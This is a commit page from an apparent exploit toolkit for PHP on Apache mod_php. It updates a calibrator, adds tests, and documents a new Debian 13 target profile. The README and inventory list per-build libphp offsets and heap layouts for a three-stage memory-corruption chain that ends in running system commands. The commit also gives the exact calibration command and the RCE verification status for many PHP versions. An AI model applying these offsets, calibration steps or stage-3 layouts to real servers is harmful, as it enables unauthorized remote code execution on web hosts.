Skip to content

Commit 3271ac6

Browse files
committed
Fix stage-3 carrier calibration and document the deb13 profile
The calibrator now keeps the measured stage-3 branch: explicit pads default to the non-carrier layout, --stage3-carrier can force either branch, and the generated upstream_profile follows the result. Add tests for pads/carrier/profile metadata, update the status table and inventory, and record the contributor-reported deb13 calibration as such.
1 parent 3d58202 commit 3271ac6

8 files changed

Lines changed: 259 additions & 31 deletions

File tree

‎README.md‎

Lines changed: 8 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -35,6 +35,7 @@ not match the profile.
3535
| PHP 8.5.11 amd64 | `php:8.5.11-apache` | `php-8.5.11-bookworm-amd64` | yes | yes | **yes** | separate offsets, same `htdata` |
3636
| PHP 8.5.10 aarch64 | `php:8.5.10-apache` | `php-8.5.10-bookworm-aarch64` | yes | yes | **yes** | `uid=33(www-data)` |
3737
| PHP 8.4.26 amd64 | `php:8.4.26-apache` | `php-8.4.26-bookworm-amd64` | yes | yes | **yes** | reference build |
38+
| PHP 8.4.26 deb13/apxs2 amd64 | source build (Debian 13, Apache 2.4.69 apxs2) | `php-8.4.26-deb13-apxs2-amd64` | yes | yes | **yes** | third stage-3 layout; instance-dependent; requires `--profile deb13-apxs2` |
3839
| PHP 8.4.25 aarch64 | `php:8.4.25-apache` | `php-8.4.25-bookworm-aarch64` | yes | yes | **yes** | probabilistic stage 3; retries |
3940
| PHP 8.5.0 aarch64 | `php:8.5.0-apache` | `php-8.5.0-bookworm` | yes | yes | no | stage-3 layout not found |
4041
| PHP 8.3.35 aarch64 | `php:8.3.35-apache` | `php-8.3.35-bookworm-aarch64` | yes | yes | no | stage-3 reference alive |
@@ -46,7 +47,7 @@ not match the profile.
4647
| PHP 7.4.33 aarch64 | `php:7.4-apache` | `php-7.4.33-bookworm-aarch64` | no | no | no | UAF; leak shape differs |
4748
| PHP 8.2.0 aarch64 | `php:8.2.0-apache` | — (offsets only) | n/a | n/a | no | no heap profile |
4849

49-
**13 heap profiles, 5 with verified RCE. Offsets extracted for 12 builds.**
50+
**14 heap profiles, 6 with verified RCE. Offsets extracted for 12 builds.**
5051

5152
`Heap leak` is stage 1, `libphp leak` is stage 2 and `RCE` is a real command
5253
proof on an isolated lab. `no` means not verified, not necessarily impossible;
@@ -55,7 +56,12 @@ offsets-only entry. All `yes` rows use the lab configuration: Apache prefork
5556
`mod_php`, one worker, `display_errors=On`, `memory_limit=8M` and
5657
`session.upload_progress=On`. Per-image offsets and `libphp` sha256 are in
5758
[the offset inventory](docs/offset-inventory.md). The 8.4.25 profile needs the
58-
default retries because its stage 3 is probabilistic.
59+
default retries because its stage 3 is probabilistic. The 8.4.26 deb13/apxs2
60+
row is a **source build**, not an official image: its stage-3 phase is
61+
instance-dependent (the contributor reported 4/4 runs on one Apache master and
62+
0/5+ on others), so treat `rce: true` as “reproduced on the reporter's lab” and
63+
retry on a fresh worker/master. Because two 8.4.26 amd64 profiles exist, the
64+
dispatcher requires `--profile deb13-apxs2` for this build.
5965

6066
## Features
6167

Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
# PHP 8.4.26 Debian 13 / apxs2 calibration
2+
3+
Status: **contributor-reported**, not independently reproduced by the
4+
maintainers as of 2026-10-30.
5+
6+
## Environment
7+
8+
- PHP 8.4.26 built from source with `--with-apxs2`
9+
- Debian 13, Apache 2.4.69 prefork, one worker
10+
- `display_errors=On`, `memory_limit=8M`, `session.upload_progress=On`
11+
- OOM body: `memory_limit + 12M`
12+
13+
## Reported results
14+
15+
- Stages 1-2 dispatch cleanly on every attempt with the profile offsets
16+
(`zif_system=0x3b19a0`, `zval_ptr_dtor=0x584f00`, `htdata=0x6e0d8`).
17+
- Stage 3 uses the third layout measured on this build: five `(4,4)` pads plus
18+
six `(31,31)` pads, `stage3_fake_len=31`, `stage3_fakes=12`,
19+
`stage3_b_name_len=3`, `stage3_wfields=5`, `stage3_cookie=true`.
20+
- `uid=33(www-data)` proof: 4/4 runs on one Apache master instance; 0/5+ on
21+
other masters started the same way. This is instance-dependent, like the
22+
8.4.25 probabilistic profile; restart/rotate and retry.
23+
- The proof command runs inside the Apache mount namespace (`PrivateTmp`), so
24+
the reported read-back uses `nsenter -t <pid> -m -- cat /tmp/p9b`.
25+
26+
## Reproducing
27+
28+
```sh
29+
python3 tools/php2shell_calibrate.py \
30+
--target http://127.0.0.1:<lab>/index.php \
31+
--container <apache-container> \
32+
--stage1-n 892 --stage1-len 79 --stage2-t 442 \
33+
--stage3-htdata 0x6e0d8 --stage3-pads '4:4x5,31:31x6' \
34+
--stage3-carrier lab --stage3-attempts 5 \
35+
--distro deb13 --arch amd64 --proof-file /out/p1
36+
```
37+
38+
The generated profile must select `upstream_profile: lab` and
39+
`stage3_carrier: false`; otherwise the dispatcher takes the carrier branch and
40+
will not reproduce this layout. Because two 8.4.26/amd64 profiles exist, run
41+
the dispatcher with `--profile deb13-apxs2`.

‎docs/profile-inventory.md‎

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -12,6 +12,7 @@ Generated from `profiles/*.json` by `tools/php2shell_inventory.py`.
1212
| 8.3.35 | php-8.3.35-bookworm-aarch64 | 0x377428 | 0x46fcc0 | - | 841 | 63 | 406 | no |
1313
| 8.4.25 | php-8.4.25-bookworm-aarch64 | 0x42fa30 | 0x637ae0 | 0x690d8 | 841 | 63 | 406 | yes |
1414
| 8.4.26 | php-8.4.26-bookworm-amd64 | 0x465370 | 0x65eb60 | 0x690d8 | 841 | 79 | 406 | yes |
15+
| 8.4.26 | php-8.4.26-deb13-apxs2-amd64 | 0x3b19a0 | 0x584f00 | 0x6e0d8 | 892 | 79 | 442 | yes |
1516
| 8.5.10 | php-8.5.10-bookworm-aarch64 | 0x52e130 | 0x75d360 | 0x690d8 | 841 | 63 | 406 | yes |
1617
| 8.5.11 | php-8.5.11-bookworm-amd64 | 0x5996e0 | 0x7b47a0 | 0x690d8 | 841 | 63 | 406 | yes |
1718
| 8.5.11 | php-8.5.11-bookworm-aarch64 | 0x5314f0 | 0x761b80 | 0x690d8 | 841 | 63 | 406 | yes |
@@ -33,6 +34,16 @@ Generated from `profiles/*.json` by `tools/php2shell_inventory.py`.
3334

3435
This is the 8.5 branch, fixed in 8.5.12.
3536

37+
### PHP 8.4.26 deb13/apxs2 — RCE reported on a source build
38+
39+
`php-8.4.26-deb13-apxs2-amd64` is a Debian 13 source build (Apache 2.4.69,
40+
apxs2, prefork, one worker), not an official image. It needs a third stage-3
41+
layout: five `(4,4)` pads shift the bin-56 reclaim slot so a 31-byte fake
42+
reference lands whole at R0. Stages 1-2 dispatch cleanly on every attempt;
43+
stage 3 is instance-dependent, so retry on a fresh master. The profile must be
44+
selected explicitly (`--profile deb13-apxs2`) because the official 8.4.26
45+
bookworm profile has the same PHP version and architecture.
46+
3647
### PHP 8.4.26 — RCE verified
3748

3849
`php:8.4.26-apache`, bookworm. Verified 3/3 manually and through the factory.

‎docs/upstream-changes.md‎

Lines changed: 10 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -64,7 +64,16 @@ if pads_env:
6464
Profiles carry a `stage3_pads` list of `[name_len, value_len]` pairs;
6565
`php2shell_auto.py` serializes it as `a:b,a:b,...` into `P2S_STAGE3_PADS` and
6666
`php2shell_calibrate.py --stage3-pads` accepts an explicit spec of the same
67-
form with repetition factors, e.g. `4:4x5,31:31x6`.
67+
form with repetition factors, e.g. `4:4x5,31:31x6`. An explicit spec is tried
68+
on its own (with the three known `htdata` slots) and does not require
69+
`--stage3-htdata`.
70+
71+
Explicit pads default to the **non-carrier** branch (`stage3_carrier: false`,
72+
`upstream_profile: lab`): that is the branch where `stage3_fake_len`,
73+
`stage3_fakes` and `stage3_b_name_len` are applied. Pass
74+
`--stage3-carrier carrier` to calibrate the 15-byte upstream carrier instead.
75+
The generated profile's `upstream_profile` follows the measured branch, so the
76+
dispatcher runs the same branch that was calibrated.
6877

6978
The other stage-3 composition knobs (all optional profile fields, all
7079
environment-driven the same way):

‎profiles/php-8.4.26-deb13-apxs2-amd64.json‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -30,7 +30,7 @@
3030
[31, 31],
3131
[31, 31]
3232
],
33-
"stage3_carrier": true,
33+
"stage3_carrier": false,
3434
"stage3_cookie": true,
3535
"stage3_wfields": 5,
3636
"stage3_fake_len": 31,

‎tests/test_calibrate.py‎

Lines changed: 85 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,85 @@
1+
#!/usr/bin/env python3
2+
"""Tests for the stage-3 pads/carrier calibration helpers."""
3+
4+
from __future__ import annotations
5+
6+
import json
7+
import sys
8+
import unittest
9+
from pathlib import Path
10+
11+
ROOT = Path(__file__).resolve().parent.parent
12+
sys.path.insert(0, str(ROOT / "tools"))
13+
14+
import php2shell_calibrate as cal # noqa: E402
15+
16+
17+
class PadSpecTests(unittest.TestCase):
18+
def test_builtins_are_preserved(self):
19+
self.assertEqual(cal.parse_pads(None), None)
20+
self.assertEqual(cal.parse_pads("bookworm"), "bookworm")
21+
self.assertEqual(cal.parse_pads("lab"), "lab")
22+
23+
def test_explicit_spec_with_repetition(self):
24+
self.assertEqual(cal.parse_pads("4:4x5,31:31x6"),
25+
[(4, 4)] * 5 + [(31, 31)] * 6)
26+
27+
def test_explicit_spec_without_repetition(self):
28+
self.assertEqual(cal.parse_pads("4:4,31:31"),
29+
[(4, 4), (31, 31)])
30+
31+
def test_bad_spec_is_rejected(self):
32+
with self.assertRaises(SystemExit):
33+
cal.parse_pads("4:4x")
34+
35+
36+
class CarrierSelectionTests(unittest.TestCase):
37+
def test_builtin_bookworm_is_carrier(self):
38+
self.assertTrue(cal.stage3_carrier_for("bookworm", "auto"))
39+
40+
def test_lab_is_not_carrier(self):
41+
self.assertFalse(cal.stage3_carrier_for("lab", "auto"))
42+
43+
def test_explicit_pads_default_to_lab_branch(self):
44+
self.assertFalse(cal.stage3_carrier_for([(4, 4)], "auto"))
45+
46+
def test_override_wins(self):
47+
self.assertTrue(cal.stage3_carrier_for([(4, 4)], "carrier"))
48+
self.assertFalse(cal.stage3_carrier_for("bookworm", "lab"))
49+
50+
51+
class ProfileJsonTests(unittest.TestCase):
52+
def test_uncalibrated(self):
53+
self.assertEqual(cal.stage3_profile_json(None), (None, None))
54+
55+
def test_lab(self):
56+
pads, carrier = cal.stage3_profile_json({"pads": "lab"})
57+
self.assertEqual(carrier, False)
58+
self.assertEqual(pads[0], [8, 7])
59+
60+
def test_explicit_pads_keep_the_measured_branch(self):
61+
pads, carrier = cal.stage3_profile_json(
62+
{"pads": [(4, 4), (31, 31)], "carrier": False})
63+
self.assertEqual(pads, [[4, 4], [31, 31]])
64+
self.assertFalse(carrier)
65+
66+
def test_bookworm(self):
67+
pads, carrier = cal.stage3_profile_json({"pads": "bookworm"})
68+
self.assertEqual(pads, [[31, 31]] * 6)
69+
self.assertTrue(carrier)
70+
71+
72+
class Deb13ProfileTests(unittest.TestCase):
73+
def test_profile_matches_the_runtime_branch(self):
74+
profile = json.loads(
75+
(ROOT / "profiles" / "php-8.4.26-deb13-apxs2-amd64.json").read_text())
76+
stages = profile["stages"]
77+
self.assertEqual(profile["upstream_profile"], "lab")
78+
self.assertFalse(stages["stage3_carrier"])
79+
self.assertEqual(stages["stage3_fake_len"], 31)
80+
self.assertEqual(stages["stage3_fakes"], 12)
81+
self.assertEqual(stages["stage3_b_name_len"], 3)
82+
83+
84+
if __name__ == "__main__":
85+
unittest.main()

‎tests/test_upstream_patch.py‎

Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -35,6 +35,27 @@ def _connect(self):
3535
'''
3636

3737

38+
SOURCE_STAGE3 = """
39+
class Exploit:
40+
def __init__(self):
41+
if profile == "bookworm":
42+
self.stage3_carrier = True
43+
else:
44+
self.stage3_carrier = False
45+
46+
def stage3(self):
47+
parts = []
48+
parts += [self._file_part(), self._big_field()]
49+
if self.profile == "bookworm":
50+
pass
51+
else:
52+
for i in range(15):
53+
parts.append({"name": f"a{i:030d}"[:31], "data": ht})
54+
for i in range(2):
55+
parts.append({"name": f"f{i:02d}", "data": ref})
56+
"""
57+
58+
3859
class RuntimePatchTests(unittest.TestCase):
3960
def setUp(self):
4061
self.tmp = tempfile.TemporaryDirectory()
@@ -60,6 +81,21 @@ def test_patch_tls_keeps_sni(self):
6081
self.assertIn("server_hostname=self.host", text)
6182
self.assertFalse(up.patch_tls(str(self.repo)))
6283

84+
def test_stage3_knobs_patch_real_anchors(self):
85+
import py_compile
86+
87+
(self.repo / "exploit.py").write_text(SOURCE_STAGE3)
88+
self.assertTrue(up.patch_params(str(self.repo)))
89+
text = (self.repo / "exploit.py").read_text()
90+
for marker in ("P2S_STAGE3_PADS", "P2S_STAGE3_COOKIE",
91+
"P2S_STAGE3_WFIELDS", "P2S_STAGE3_FAKE_LEN",
92+
"P2S_STAGE3_FAKES", "P2S_STAGE3_B_NAME_LEN",
93+
"for wi in range(getattr(self, '_p2s_wfields', 0) or 0)"):
94+
self.assertIn(marker, text)
95+
py_compile.compile(str(self.repo / "exploit.py"), doraise=True)
96+
# the second call must be a no-op
97+
self.assertFalse(up.patch_params(str(self.repo)))
98+
6399
def test_missing_upstream_is_safe(self):
64100
self.assertFalse(up.patch_params(str(self.repo / "missing")))
65101
self.assertFalse(up.patch_tls(str(self.repo / "missing")))

‎tools/php2shell_calibrate.py‎

Lines changed: 67 additions & 27 deletions
Original file line numberDiff line numberDiff line change
@@ -288,44 +288,76 @@ def stage3_profile_json(stage3):
288288
if pads == "lab":
289289
return [[8, 7]] + [[7, 7]] * 5, False
290290
if isinstance(pads, list):
291-
return [list(p) for p in pads], True
291+
return [list(p) for p in pads], bool(stage3.get("carrier"))
292292
return [[31, 31]] * 6, True
293293

294294

295+
def stage3_carrier_for(pads, override):
296+
"""Whether this layout uses the upstream 15-byte carrier.
297+
298+
Explicit pads are calibrated with the non-carrier branch by default: that
299+
is the only branch where the per-build fake-reference knobs apply. Pass
300+
--stage3-carrier carrier to measure the carrier layout instead.
301+
"""
302+
if override == "carrier":
303+
return True
304+
if override == "lab":
305+
return False
306+
if pads == "lab":
307+
return False
308+
return not isinstance(pads, list)
309+
310+
295311
def calibrate_stage3(mod, ex, chunk, lib, zif, proof, hints):
296312
if not chunk or not lib:
297313
return False, None
314+
attempts = max(1, int(hints.get("stage3_attempts") or 5))
315+
pads_arg = hints.get("stage3_pads")
316+
explicit = None
317+
if pads_arg not in (None, "bookworm", "lab"):
318+
explicit = parse_pads(pads_arg)
298319
layouts = []
299320
if hints.get("stage3_htdata"):
300-
layouts.append(("hint", hints["stage3_htdata"], parse_pads(hints.get("stage3_pads"))))
321+
layouts.append(("hint", hints["stage3_htdata"],
322+
explicit if explicit is not None else (pads_arg or "bookworm")))
323+
elif explicit is not None:
324+
# An explicit pads spec is useful on its own: try it with every known
325+
# htdata slot instead of silently falling back to the built-in pairs.
326+
for off in (0x690D8, 0x6E0D8, 0x5404A):
327+
layouts.append((f"{hex(off)}/explicit", off, explicit))
301328
else:
302329
for off in (0x690D8, 0x6E0D8, 0x5404A):
303330
for pads in ("bookworm", "lab"):
304331
layouts.append((f"{hex(off)}/{pads}", off, pads))
305332
for name, off, pads in layouts:
306-
try:
307-
if os.path.exists(proof):
308-
os.unlink(proof)
309-
except OSError:
310-
pass
311-
if pads == "lab":
312-
ex.stage3_carrier = False
313-
ex.stage3_pads = [(8, 7)] + [(7, 7)] * 5
314-
elif isinstance(pads, list):
315-
ex.stage3_carrier = True
316-
ex.stage3_pads = pads
317-
else:
318-
ex.stage3_carrier = True
319-
ex.stage3_pads = [(31, 31)] * 6
320-
try:
321-
ex.rotate()
322-
ex.stage3(chunk + off, lib + zif)
323-
except Exception as exc:
324-
print(f" stage3 {name}: {exc}")
325-
if os.path.exists(proof) and os.path.getsize(proof) > 0:
326-
print(f"[+] stage3 {name}: {open(proof).read().strip()}")
327-
return True, {"htdata": off, "pads": pads}
328-
print(f" stage3 {name}: no proof")
333+
carrier = stage3_carrier_for(pads, hints.get("stage3_carrier"))
334+
for attempt in range(1, attempts + 1):
335+
try:
336+
if os.path.exists(proof):
337+
os.unlink(proof)
338+
except OSError:
339+
pass
340+
if pads == "lab":
341+
ex.stage3_pads = [(8, 7)] + [(7, 7)] * 5
342+
elif isinstance(pads, list):
343+
ex.stage3_pads = pads
344+
else:
345+
ex.stage3_pads = [(31, 31)] * 6
346+
ex.stage3_carrier = carrier
347+
try:
348+
# A fresh worker restores the deterministic heap before every
349+
# attempt (upstream rotates the same way in its retry loop).
350+
ex.rotate()
351+
ex.stage3(chunk + off, lib + zif)
352+
except Exception as exc:
353+
print(f" stage3 {name} try {attempt}/{attempts}: {exc}")
354+
if os.path.exists(proof) and os.path.getsize(proof) > 0:
355+
print(f"[+] stage3 {name} try {attempt}/{attempts}: "
356+
f"{open(proof).read().strip()}")
357+
return True, {"htdata": off, "pads": pads,
358+
"carrier": carrier}
359+
if attempts > 1:
360+
print(f" stage3 {name} try {attempt}/{attempts}: no proof")
329361
return False, None
330362

331363

@@ -353,6 +385,11 @@ def main() -> int:
353385
ap.add_argument("--stage3-htdata", type=lambda x: int(x, 0))
354386
ap.add_argument("--stage3-pads", default=None,
355387
help='bookworm, lab, or explicit pads spec: "4:4x5,31:31x6"')
388+
ap.add_argument("--stage3-carrier", choices=("auto", "carrier", "lab"),
389+
default="auto",
390+
help="stage-3 branch: carrier (15-byte upstream string), "
391+
"lab (fake-reference carriers), or auto (carrier for "
392+
"bookworm, lab for explicit/lab pads)")
356393
ap.add_argument("--distro", default="unknown")
357394
ap.add_argument("--arch", choices=("aarch64", "amd64"), default=None)
358395
args = ap.parse_args()
@@ -406,11 +443,14 @@ def main() -> int:
406443
"fixed_in": f"{branch}.{fixed}" if fixed else None,
407444
"sapi": "apache2handler",
408445
"arch": arch,
409-
"distro": "debian" if "bookworm" in args.distro else args.distro,
446+
"distro": ("debian" if any(x in args.distro for x in
447+
("bookworm", "bullseye", "buster", "trixie",
448+
"deb13", "debian"))
449+
else args.distro),
410450
"verified": rce,
411451
"rce": rce,
412452
"oom_mb": 12,
413-
"upstream_profile": "bookworm",
453+
"upstream_profile": "bookworm" if s3_carrier else "lab",
414454
"libphp": {
415455
"zif_system": hex(sym["zif_system"]),
416456
"zval_ptr_dtor": hex(sym["zval_ptr_dtor"]),

0 commit comments

Comments
 (0)